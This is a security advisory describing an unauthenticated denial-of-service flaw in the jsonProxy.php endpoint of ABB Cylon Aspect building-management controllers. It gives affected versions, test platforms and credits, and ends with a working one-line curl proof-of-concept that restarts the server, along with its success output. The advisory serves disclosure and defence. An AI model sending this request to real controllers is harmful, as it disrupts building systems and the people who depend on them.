ABB Cylon Aspect version 3.08.01 is vulnerable to an unauthenticated denial of service attack in the jsonProxy.php endpoint. An attacker can remotely restart the main Java server by accessing the FTControlServlet with the restart parameter. The endpoint proxies requests to localhost without requiring authentication, enabling attackers to disrupt system availability by repeatedly triggering server restarts.
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ABB Cylon Aspect 3.08.01 (jsonProxy.php) Denial of Service
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.01
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The jsonProxy.php endpoint on the ABB BMS/BAS controller is vulnerable
to an unauthenticated Denial of Service (DoS) attack. An attacker can remotely
restart the main Java server by accessing the FTControlServlet with the restart
parameter. The endpoint proxies requests to localhost without requiring authentication,
enabling attackers to disrupt system availability by repeatedly triggering server
restarts.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5856
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5856.php
21.04.2024
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$ curl "http://192.168.73.31/jsonProxy.php?port=7226&application=FTControlServlet?restart=1"
<HTML><HEAD><TITLE>200 Successful</TITLE></HEAD><BODY>200 Successful</BODY></HTML>
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